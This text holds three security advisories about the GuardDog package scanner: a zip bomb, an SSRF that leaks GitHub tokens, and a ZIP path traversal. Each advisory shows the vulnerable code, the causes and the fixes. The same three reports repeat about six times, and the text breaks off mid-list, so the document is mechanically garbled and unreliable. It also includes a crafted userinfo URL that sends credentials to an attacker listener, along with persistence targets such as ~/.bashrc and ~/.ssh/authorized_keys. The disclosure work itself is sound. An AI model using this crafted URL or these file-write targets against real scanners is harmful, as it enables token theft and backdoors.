Vulnerability Type: CWE-409 - Improper Handling of Highly Compressed Data (Zip Bomb)
Severity: HIGH (CVSS ~8)
Attack Vector: Network (malicious package uploaded to PyPI/npm) or local

Root Cause

The safe_extract() function handles TAR files securely using the tarsafe library, but ZIP file extraction has no size validation:

elif zipfile.is_zipfile(source_archive):
    with zipfile.ZipFile(source_archive, "r") as zip:
        for file in zip.namelist():
            zip.extract(file, path=os.path.join(target_directory, file))

Missing protections:

• ❌ No decompressed size limit
• ❌ No compression ratio validation
• ❌ No file count limits
• ❌ No total extracted size validation

Impact

Denial of Service Scenarios

1. CI/CD Pipeline Disruption

• Attacker publishes malicious package to PyPI
• Developer adds package to requirements.txt
• CI/CD runs GuardDog scan
• Disk fills (GitHub Actions: standard 14GB limit)
• All deployments blocked

2. Resource Exhaustion

• Local development environments
• Security scanning infrastructure
• Automated scanning systems
• Docker containers with limited disk

3. Supply Chain Attack Amplification

• Single malicious package blocks security scanning
• Prevents detection of other malicious packages
• Forces manual intervention
• Increases security team workload

Recommended Fix

Add size validation for ZIP files similar to what tarsafe provides for TAR files

Configuration Options

Make limits configurable via environment variables or config file

Additional Improvements

1. Add warning logs when archives approach limits
2. Provide clear error messages for users
3. Document limits in user-facing documentation
4. Add tests for zip bomb detection
5. Consider using a safe ZIP library (similar to tarsafe)

Credit

Reported by: Charbel (dwbruijn)

Summary

The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.

Description

ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:

githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)

Because this logic does not parse or validate the hostname, a crafted URL such as:

http://github@127.0.0.1:18081/owner/repo

is transformed into:

http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt

Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.

Reproduction summary

1. Start an HTTP listener on 127.0.0.1:18081 that logs the request path and Authorization header.
2. Set GIT_USERNAME=alice and GH_TOKEN=supersecret.
3. Call PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt").
4. Observe a request to /owner/repo/main/requirements.txt with Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.

Key code paths

• guarddog/scanners/scanner.py:361-365

Practical impact

This can expose repository-scanning infrastructure to:

• theft of the GitHub PAT configured in GH_TOKEN
• SSRF to internal or localhost services reachable by the scanner
• attacker-controlled dependency file content returned by the malicious endpoint

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.

Summary

A path traversal vulnerability exists in GuardDog's safe_extract() function that allows malicious PyPI packages to write arbitrary files outside the intended extraction directory, leading to Arbitrary File Overwrite and Remote Code Execution on systems running GuardDog.

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

Details

Vulnerable Code

File: guarddog/utils/archives.py

elif zipfile.is_zipfile(source_archive):
    with zipfile.ZipFile(source_archive, "r") as zip:
        for file in zip.namelist():
            # Note: zip.extract cleans up any malicious file name
            # such as directory traversal attempts This is not the
            # case of zipfile.extractall
            zip.extract(file, path=os.path.join(target_directory, file))  # ❌ VULNERABLE

Root Cause

The comment about zip.extract() fooled me at first :) then I noticed the os.path.join() call. The vulnerability stems from incorrect usage of Python's zipfile.ZipFile.extract() API:

• The path parameter should be the target directory, not a full file path
• extract() automatically appends the member name to the path
• By passing os.path.join(target_directory, file), GuardDog causes the filename to be appended twice
• This breaks zipfile's built-in path traversal sanitization

Attack Vector

1. Attacker creates malicious wheel with path traversal filenames
2. Uploads to PyPI or distributes directly
3. Package scan: guarddog pypi scan malicious-pkg
4. GuardDog downloads and extracts the package
5. Malicious files written to arbitrary locations
6. Code execution could be achieved

Impact

Impact depends on how GuardDog is running and under which environment.

Critical Scenarios

1. Immediate Code Execution

   • Write to ~/.bashrc → executes on next shell
   • Write to ~/.profile → executes on login

2. Persistent Backdoors

   • Write to ~/.ssh/authorized_keys → SSH access
   • Write to /etc/cron.d/malicious → scheduled execution (if root)
   • Write to systemd user services → persistent execution

and more...

Credits

Reported by: Charbel (dwbruijn)

Summary

GuardDog's safe_extract() function does not validate decompressed file sizes when extracting ZIP archives (wheels, eggs), allowing attackers to cause denial of service through zip bombs. A malicious package can consume gigabytes of disk space from a few megabytes of compressed data.

Vulnerability Details

Affected Component: guarddog/utils/archives.py - safe_extract() function
Vulnerability Type: CWE-409 - Improper Handling of Highly Compressed Data (Zip Bomb)
Severity: HIGH (CVSS ~8)
Attack Vector: Network (malicious package uploaded to PyPI/npm) or local

Root Cause

The safe_extract() function handles TAR files securely using the tarsafe library, but ZIP file extraction has no size validation:

elif zipfile.is_zipfile(source_archive):
    with zipfile.ZipFile(source_archive, "r") as zip:
        for file in zip.namelist():
            zip.extract(file, path=os.path.join(target_directory, file))

Missing protections:

• ❌ No decompressed size limit
• ❌ No compression ratio validation
• ❌ No file count limits
• ❌ No total extracted size validation

Impact

Denial of Service Scenarios

1. CI/CD Pipeline Disruption

• Attacker publishes malicious package to PyPI
• Developer adds package to requirements.txt
• CI/CD runs GuardDog scan
• Disk fills (GitHub Actions: standard 14GB limit)
• All deployments blocked

2. Resource Exhaustion

• Local development environments
• Security scanning infrastructure
• Automated scanning systems
• Docker containers with limited disk

3. Supply Chain Attack Amplification

• Single malicious package blocks security scanning
• Prevents detection of other malicious packages
• Forces manual intervention
• Increases security team workload

Recommended Fix

Add size validation for ZIP files similar to what tarsafe provides for TAR files

Configuration Options

Make limits configurable via environment variables or config file

Additional Improvements

1. Add warning logs when archives approach limits
2. Provide clear error messages for users
3. Document limits in user-facing documentation
4. Add tests for zip bomb detection
5. Consider using a safe ZIP library (similar to tarsafe)

Credit

Reported by: Charbel (dwbruijn)

Summary

The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.

Description

ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:

githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)

Because this logic does not parse or validate the hostname, a crafted URL such as:

http://github@127.0.0.1:18081/owner/repo

is transformed into:

http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt

Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.

Reproduction summary

1. Start an HTTP listener on 127.0.0.1:18081 that logs the request path and Authorization header.
2. Set GIT_USERNAME=alice and GH_TOKEN=supersecret.
3. Call PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt").
4. Observe a request to /owner/repo/main/requirements.txt with Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.

Key code paths

• guarddog/scanners/scanner.py:361-365

Practical impact

This can expose repository-scanning infrastructure to:

• theft of the GitHub PAT configured in GH_TOKEN
• SSRF to internal or localhost services reachable by the scanner
• attacker-controlled dependency file content returned by the malicious endpoint

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.

Summary

A path traversal vulnerability exists in GuardDog's safe_extract() function that allows malicious PyPI packages to write arbitrary files outside the intended extraction directory, leading to Arbitrary File Overwrite and Remote Code Execution on systems running GuardDog.

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

Details

Vulnerable Code

File: guarddog/utils/archives.py

elif zipfile.is_zipfile(source_archive):
    with zipfile.ZipFile(source_archive, "r") as zip:
        for file in zip.namelist():
            # Note: zip.extract cleans up any malicious file name
            # such as directory traversal attempts This is not the
            # case of zipfile.extractall
            zip.extract(file, path=os.path.join(target_directory, file))  # ❌ VULNERABLE

Root Cause

The comment about zip.extract() fooled me at first :) then I noticed the os.path.join() call. The vulnerability stems from incorrect usage of Python's zipfile.ZipFile.extract() API:

• The path parameter should be the target directory, not a full file path
• extract() automatically appends the member name to the path
• By passing os.path.join(target_directory, file), GuardDog causes the filename to be appended twice
• This breaks zipfile's built-in path traversal sanitization

Attack Vector

1. Attacker creates malicious wheel with path traversal filenames
2. Uploads to PyPI or distributes directly
3. Package scan: guarddog pypi scan malicious-pkg
4. GuardDog downloads and extracts the package
5. Malicious files written to arbitrary locations
6. Code execution could be achieved

Impact

Impact depends on how GuardDog is running and under which environment.

Critical Scenarios

1. Immediate Code Execution

   • Write to ~/.bashrc → executes on next shell
   • Write to ~/.profile → executes on login

2. Persistent Backdoors

   • Write to ~/.ssh/authorized_keys → SSH access
   • Write to /etc/cron.d/malicious → scheduled execution (if root)
   • Write to systemd user services → persistent execution

and more...

Credits

Reported by: Charbel (dwbruijn)

Summary

GuardDog's safe_extract() function does not validate decompressed file sizes when extracting ZIP archives (wheels, eggs), allowing attackers to cause denial of service through zip bombs. A malicious package can consume gigabytes of disk space from a few megabytes of compressed data.

Vulnerability Details

Affected Component: guarddog/utils/archives.py - safe_extract() function
Vulnerability Type: CWE-409 - Improper Handling of Highly Compressed Data (Zip Bomb)
Severity: HIGH (CVSS ~8)
Attack Vector: Network (malicious package uploaded to PyPI/npm) or local

Root Cause

The safe_extract() function handles TAR files securely using the tarsafe library, but ZIP file extraction has no size validation:

elif zipfile.is_zipfile(source_archive):
    with zipfile.ZipFile(source_archive, "r") as zip:
        for file in zip.namelist():
            zip.extract(file, path=os.path.join(target_directory, file))

Missing protections:

• ❌ No decompressed size limit
• ❌ No compression ratio validation
• ❌ No file count limits
• ❌ No total extracted size validation

Impact

Denial of Service Scenarios

1. CI/CD Pipeline Disruption

• Attacker publishes malicious package to PyPI
• Developer adds package to requirements.txt
• CI/CD runs GuardDog scan
• Disk fills (GitHub Actions: standard 14GB limit)
• All deployments blocked

2. Resource Exhaustion

• Local development environments
• Security scanning infrastructure
• Automated scanning systems
• Docker containers with limited disk

3. Supply Chain Attack Amplification

• Single malicious package blocks security scanning
• Prevents detection of other malicious packages
• Forces manual intervention
• Increases security team workload

Recommended Fix

Add size validation for ZIP files similar to what tarsafe provides for TAR files

Configuration Options

Make limits configurable via environment variables or config file

Additional Improvements

1. Add warning logs when archives approach limits
2. Provide clear error messages for users
3. Document limits in user-facing documentation
4. Add tests for zip bomb detection
5. Consider using a safe ZIP library (similar to tarsafe)

Credit

Reported by: Charbel (dwbruijn)

Summary

The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.

Description

ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:

githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)

Because this logic does not parse or validate the hostname, a crafted URL such as:

http://github@127.0.0.1:18081/owner/repo

is transformed into:

http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt

Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.

Reproduction summary

1. Start an HTTP listener on 127.0.0.1:18081 that logs the request path and Authorization header.
2. Set GIT_USERNAME=alice and GH_TOKEN=supersecret.
3. Call PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt").
4. Observe a request to /owner/repo/main/requirements.txt with Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.

Key code paths

• guarddog/scanners/scanner.py:361-365

Practical impact

This can expose repository-scanning infrastructure to:

• theft of the GitHub PAT configured in GH_TOKEN
• SSRF to internal or localhost services reachable by the scanner
• attacker-controlled dependency file content returned by the malicious endpoint

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.

Summary

A path traversal vulnerability exists in GuardDog's safe_extract() function that allows malicious PyPI packages to write arbitrary files outside the intended extraction directory, leading to Arbitrary File Overwrite and Remote Code Execution on systems running GuardDog.

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

Details

Vulnerable Code

File: guarddog/utils/archives.py

elif zipfile.is_zipfile(source_archive):
    with zipfile.ZipFile(source_archive, "r") as zip:
        for file in zip.namelist():
            # Note: zip.extract cleans up any malicious file name
            # such as directory traversal attempts This is not the
            # case of zipfile.extractall
            zip.extract(file, path=os.path.join(target_directory, file))  # ❌ VULNERABLE

Root Cause

The comment about zip.extract() fooled me at first :) then I noticed the os.path.join() call. The vulnerability stems from incorrect usage of Python's zipfile.ZipFile.extract() API:

• The path parameter should be the target directory, not a full file path
• extract() automatically appends the member name to the path
• By passing os.path.join(target_directory, file), GuardDog causes the filename to be appended twice
• This breaks zipfile's built-in path traversal sanitization

Attack Vector

1. Attacker creates malicious wheel with path traversal filenames
2. Uploads to PyPI or distributes directly
3. Package scan: guarddog pypi scan malicious-pkg
4. GuardDog downloads and extracts the package
5. Malicious files written to arbitrary locations
6. Code execution could be achieved

Impact

Impact depends on how GuardDog is running and under which environment.

Critical Scenarios

1. Immediate Code Execution

   • Write to ~/.bashrc → executes on next shell
   • Write to ~/.profile → executes on login

2. Persistent Backdoors

   • Write to ~/.ssh/authorized_keys → SSH access
   • Write to /etc/cron.d/malicious → scheduled execution (if root)
   • Write to systemd user services → persistent execution

and more...

Credits

Reported by: Charbel (dwbruijn)

Summary

GuardDog's safe_extract() function does not validate decompressed file sizes when extracting ZIP archives (wheels, eggs), allowing attackers to cause denial of service through zip bombs. A malicious package can consume gigabytes of disk space from a few megabytes of compressed data.

Vulnerability Details

Affected Component: guarddog/utils/archives.py - safe_extract() function
Vulnerability Type: CWE-409 - Improper Handling of Highly Compressed Data (Zip Bomb)
Severity: HIGH (CVSS ~8)
Attack Vector: Network (malicious package uploaded to PyPI/npm) or local

Root Cause

The safe_extract() function handles TAR files securely using the tarsafe library, but ZIP file extraction has no size validation:

elif zipfile.is_zipfile(source_archive):
    with zipfile.ZipFile(source_archive, "r") as zip:
        for file in zip.namelist():
            zip.extract(file, path=os.path.join(target_directory, file))

Missing protections:

• ❌ No decompressed size limit
• ❌ No compression ratio validation
• ❌ No file count limits
• ❌ No total extracted size validation

Impact

Denial of Service Scenarios

1. CI/CD Pipeline Disruption

• Attacker publishes malicious package to PyPI
• Developer adds package to requirements.txt
• CI/CD runs GuardDog scan
• Disk fills (GitHub Actions: standard 14GB limit)
• All deployments blocked

2. Resource Exhaustion

• Local development environments
• Security scanning infrastructure
• Automated scanning systems
• Docker containers with limited disk

3. Supply Chain Attack Amplification

• Single malicious package blocks security scanning
• Prevents detection of other malicious packages
• Forces manual intervention
• Increases security team workload

Recommended Fix

Add size validation for ZIP files similar to what tarsafe provides for TAR files

Configuration Options

Make limits configurable via environment variables or config file

Additional Improvements

1. Add warning logs when archives approach limits
2. Provide clear error messages for users
3. Document limits in user-facing documentation
4. Add tests for zip bomb detection
5. Consider using a safe ZIP library (similar to tarsafe)

Credit

Reported by: Charbel (dwbruijn)

Summary

The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.

Description

ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:

githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)

Because this logic does not parse or validate the hostname, a crafted URL such as:

http://github@127.0.0.1:18081/owner/repo

is transformed into:

http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt

Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.

Reproduction summary

1. Start an HTTP listener on 127.0.0.1:18081 that logs the request path and Authorization header.
2. Set GIT_USERNAME=alice and GH_TOKEN=supersecret.
3. Call PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt").
4. Observe a request to /owner/repo/main/requirements.txt with Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.

Key code paths

• guarddog/scanners/scanner.py:361-365

Practical impact

This can expose repository-scanning infrastructure to:

• theft of the GitHub PAT configured in GH_TOKEN
• SSRF to internal or localhost services reachable by the scanner
• attacker-controlled dependency file content returned by the malicious endpoint

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.

Summary

A path traversal vulnerability exists in GuardDog's safe_extract() function that allows malicious PyPI packages to write arbitrary files outside the intended extraction directory, leading to Arbitrary File Overwrite and Remote Code Execution on systems running GuardDog.

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

Details

Vulnerable Code

File: guarddog/utils/archives.py

elif zipfile.is_zipfile(source_archive):
    with zipfile.ZipFile(source_archive, "r") as zip:
        for file in zip.namelist():
            # Note: zip.extract cleans up any malicious file name
            # such as directory traversal attempts This is not the
            # case of zipfile.extractall
            zip.extract(file, path=os.path.join(target_directory, file))  # ❌ VULNERABLE

Root Cause

The comment about zip.extract() fooled me at first :) then I noticed the os.path.join() call. The vulnerability stems from incorrect usage of Python's zipfile.ZipFile.extract() API:

• The path parameter should be the target directory, not a full file path
• extract() automatically appends the member name to the path
• By passing os.path.join(target_directory, file), GuardDog causes the filename to be appended twice
• This breaks zipfile's built-in path traversal sanitization

Attack Vector

1. Attacker creates malicious wheel with path traversal filenames
2. Uploads to PyPI or distributes directly
3. Package scan: guarddog pypi scan malicious-pkg
4. GuardDog downloads and extracts the package
5. Malicious files written to arbitrary locations
6. Code execution could be achieved

Impact

Impact depends on how GuardDog is running and under which environment.

Critical Scenarios

1. Immediate Code Execution

   • Write to ~/.bashrc → executes on next shell
   • Write to ~/.profile → executes on login

2. Persistent Backdoors

   • Write to ~/.ssh/authorized_keys → SSH access
   • Write to /etc/cron.d/malicious → scheduled execution (if root)
   • Write to systemd user services → persistent execution

and more...

Credits

Reported by: Charbel (dwbruijn)

Summary

GuardDog's safe_extract() function does not validate decompressed file sizes when extracting ZIP archives (wheels, eggs), allowing attackers to cause denial of service through zip bombs. A malicious package can consume gigabytes of disk space from a few megabytes of compressed data.

Vulnerability Details

Affected Component: guarddog/utils/archives.py - safe_extract() function
Vulnerability Type: CWE-409 - Improper Handling of Highly Compressed Data (Zip Bomb)
Severity: HIGH (CVSS ~8)
Attack Vector: Network (malicious package uploaded to PyPI/npm) or local

Root Cause

The safe_extract() function handles TAR files securely using the tarsafe library, but ZIP file extraction has no size validation:

elif zipfile.is_zipfile(source_archive):
    with zipfile.ZipFile(source_archive, "r") as zip:
        for file in zip.namelist():
            zip.extract(file, path=os.path.join(target_directory, file))

Missing protections:

• ❌ No decompressed size limit
• ❌ No compression ratio validation
• ❌ No file count limits
• ❌ No total extracted size validation

Impact

Denial of Service Scenarios

1. CI/CD Pipeline Disruption

• Attacker publishes malicious package to PyPI
• Developer adds package to requirements.txt
• CI/CD runs GuardDog scan
• Disk fills (GitHub Actions: standard 14GB limit)
• All deployments blocked

2. Resource Exhaustion

• Local development environments
• Security scanning infrastructure
• Automated scanning systems
• Docker containers with limited disk

3. Supply Chain Attack Amplification

• Single malicious package blocks security scanning
• Prevents detection of other malicious packages
• Forces manual intervention
• Increases security team workload

Recommended Fix

Add size validation for ZIP files similar to what tarsafe provides for TAR files

Configuration Options

Make limits configurable via environment variables or config file

Additional Improvements

1. Add warning logs when archives approach limits
2. Provide clear error messages for users
3. Document limits in user-facing documentation
4. Add tests for zip bomb detection
5. Consider using a safe ZIP library (similar to tarsafe)

Credit

Reported by: Charbel (dwbruijn)

Summary

The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.

Description

ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:

githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)

Because this logic does not parse or validate the hostname, a crafted URL such as:

http://github@127.0.0.1:18081/owner/repo

is transformed into:

http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt

Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.

Reproduction summary

1. Start an HTTP listener on 127.0.0.1:18081 that logs the request path and Authorization header.
2. Set GIT_USERNAME=alice and GH_TOKEN=supersecret.
3. Call PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt").
4. Observe a request to /owner/repo/main/requirements.txt with Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.

Key code paths

• guarddog/scanners/scanner.py:361-365

Practical impact

This can expose repository-scanning infrastructure to:

• theft of the GitHub PAT configured in GH_TOKEN
• SSRF to internal or localhost services reachable by the scanner
• attacker-controlled dependency file content returned by the malicious endpoint

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.

Summary

A path traversal vulnerability exists in GuardDog's safe_extract() function that allows malicious PyPI packages to write arbitrary files outside the intended extraction directory, leading to Arbitrary File Overwrite and Remote Code Execution on systems running GuardDog.

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

Details

Vulnerable Code

File: guarddog/utils/archives.py

elif zipfile.is_zipfile(source_archive):
    with zipfile.ZipFile(source_archive, "r") as zip:
        for file in zip.namelist():
            # Note: zip.extract cleans up any malicious file name
            # such as directory traversal attempts This is not the
            # case of zipfile.extractall
            zip.extract(file, path=os.path.join(target_directory, file))  # ❌ VULNERABLE

Root Cause

The comment about zip.extract() fooled me at first :) then I noticed the os.path.join() call. The vulnerability stems from incorrect usage of Python's zipfile.ZipFile.extract() API:

• The path parameter should be the target directory, not a full file path
• extract() automatically appends the member name to the path
• By passing os.path.join(target_directory, file), GuardDog causes the filename to be appended twice
• This breaks zipfile's built-in path traversal sanitization

Attack Vector

1. Attacker creates malicious wheel with path traversal filenames
2. Uploads to PyPI or distributes directly
3. Package scan: guarddog pypi scan malicious-pkg
4. GuardDog downloads and extracts the package
5. Malicious files written to arbitrary locations
6. Code execution could be achieved

Impact

Impact depends on how GuardDog is running and under which environment.

Critical Scenarios

1. Immediate Code Execution

   • Write to ~/.bashrc → executes on next shell
   • Write to ~/.profile → executes on login

2. Persistent Backdoors

   • Write to ~/.ssh/authorized_keys → SSH access
   • Write to /etc/cron.d/malicious → scheduled execution (if root)
   • Write to systemd user services → persistent execution

and more...

Credits

Reported by: Charbel (dwbruijn)

Summary

GuardDog's safe_extract() function does not validate decompressed file sizes when extracting ZIP archives (wheels, eggs), allowing attackers to cause denial of service through zip bombs. A malicious package can consume gigabytes of disk space from a few megabytes of compressed data.

Vulnerability Details

Affected Component: guarddog/utils/archives.py - safe_extract() function
Vulnerability Type: CWE-409 - Improper Handling of Highly Compressed Data (Zip Bomb)
Severity: HIGH (CVSS ~8)
Attack Vector: Network (malicious package uploaded to PyPI/npm) or local

Root Cause

The safe_extract() function handles TAR files securely using the tarsafe library, but ZIP file extraction has no size validation:

elif zipfile.is_zipfile(source_archive):
    with zipfile.ZipFile(source_archive, "r") as zip:
        for file in zip.namelist():
            zip.extract(file, path=os.path.join(target_directory, file))

Missing protections:

• ❌ No decompressed size limit
• ❌ No compression ratio validation
• ❌ No file count limits
• ❌ No total extracted size validation

Impact

Denial of Service Scenarios

1. CI/CD Pipeline Disruption

• Attacker publishes malicious package to PyPI
• Developer adds package to requirements.txt
• CI/CD runs GuardDog scan
• Disk fills (GitHub Actions: standard 14GB limit)
• All deployments blocked

2. Resource Exhaustion

• Local development environments
• Security scanning infrastructure
• Automated scanning systems
• Docker containers with limited disk

3. Supply Chain Attack Amplification

• Single malicious package blocks security scanning
• Prevents detection of other malicious packages
• Forces manual intervention
• Increases security team workload

Recommended Fix

Add size validation for ZIP files similar to what tarsafe provides for TAR files

Configuration Options

Make limits configurable via environment variables or config file

Additional Improvements

1. Add warning logs when archives approach limits
2. Provide clear error messages for users
3. Document limits in user-facing documentation
4. Add tests for zip bomb detection
5. Consider using a safe ZIP library (similar to tarsafe)

Credit

Reported by: Charbel (dwbruijn)

Summary

The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.

Description

ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:

githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)

Because this logic does not parse or validate the hostname, a crafted URL such as:

http://github@127.0.0.1:18081/owner/repo

is transformed into:

http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt

Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.

Reproduction summary

1. Start an HTTP listener on 127.0.0.1:18081 that logs the request path and Authorization header.
2. Set GIT_USERNAME=alice and GH_TOKEN=supersecret.
3. Call PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt").
4. Observe a request to /owner/repo/main/requirements.txt with Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.

Key code paths

• guarddog/scanners/scanner.py:361-365

Practical impact

This can expose repository-scanning infrastructure to:

• theft of the GitHub PAT configured in GH_TOKEN
• SSRF to internal or localhost services reachable by the scanner
• attacker-controlled dependency file content returned by the malicious endpoint

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.

Summary

A path traversal vulnerability exists in GuardDog's safe_extract() function that allows malicious PyPI packages to write arbitrary files outside the intended extraction directory, leading to Arbitrary File Overwrite and Remote Code Execution on systems running GuardDog.

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

Details

Vulnerable Code

File: guarddog/utils/archives.py

elif zipfile.is_zipfile(source_archive):
    with zipfile.ZipFile(source_archive, "r") as zip:
        for file in zip.namelist():
            # Note: zip.extract cleans up any malicious file name
            # such as directory traversal attempts This is not the
            # case of zipfile.extractall
            zip.extract(file, path=os.path.join(target_directory, file))  # ❌ VULNERABLE

Root Cause

The comment about zip.extract() fooled me at first :) then I noticed the os.path.join() call. The vulnerability stems from incorrect usage of Python's zipfile.ZipFile.extract() API:

• The path parameter should be the target directory, not a full file path
• extract() automatically appends the member name to the path
• By passing os.path.join(target_directory, file), GuardDog causes the filename to be appended twice
• This breaks zipfile's built-in path traversal sanitization

Attack Vector

1. Attacker creates malicious wheel with path traversal filenames
2. Uploads to PyPI or distributes directly
3. Package scan: guarddog pypi scan malicious-pkg
4. GuardDog downloads and extracts the package
5. Malicious files written to arbitrary locations
6. Code execution could be achieved

Impact

Impact depends on how GuardDog is running and under which environment.

Critical Scenarios

1. Immediate Code Execution

   • Write to ~/.bashrc → executes on next shell
   • Write to ~/.profile → executes on login

2. Persistent Backdoors

   • Write to ~/.ssh/authorized_keys → SSH access
   • Write to /etc/cron.d/malicious → scheduled execution (if root)
   • Write to systemd user services → persistent execution

and more...

Credits

Reported by: Charbel (dwbruijn)

Summary

GuardDog's safe_extract() function does not validate decompressed file sizes when extracting ZIP archives (wheels, eggs), allowing attackers to cause denial of service through zip bombs. A malicious package can consume gigabytes of disk space from a few megabytes of compressed data.

Vulnerability Details

Affected Component: guarddog/utils/archives.py - safe_extract() function
Vulnerability Type: CWE-409 - Improper Handling of Highly Compressed Data (Zip Bomb)
Severity: HIGH (CVSS ~8)
Attack Vector: Network (malicious package uploaded to PyPI/npm) or local

Root Cause

The safe_extract() function handles TAR files securely using the tarsafe library, but ZIP file extraction has no size validation:

elif zipfile.is_zipfile(source_archive):
    with zipfile.ZipFile(source_archive, "r") as zip:
        for file in zip.namelist():
            zip.extract(file, path=os.path.join(target_directory, file))

Missing protections:

• ❌ No decompressed size limit
• ❌ No compression ratio validation
• ❌ No file count limits
• ❌ No total extracted size validation

Impact

Denial of Service Scenarios

1. CI/CD Pipeline Disruption

• Attacker publishes malicious package to PyPI
• Developer adds package to requirements.txt
• CI/CD runs GuardDog scan
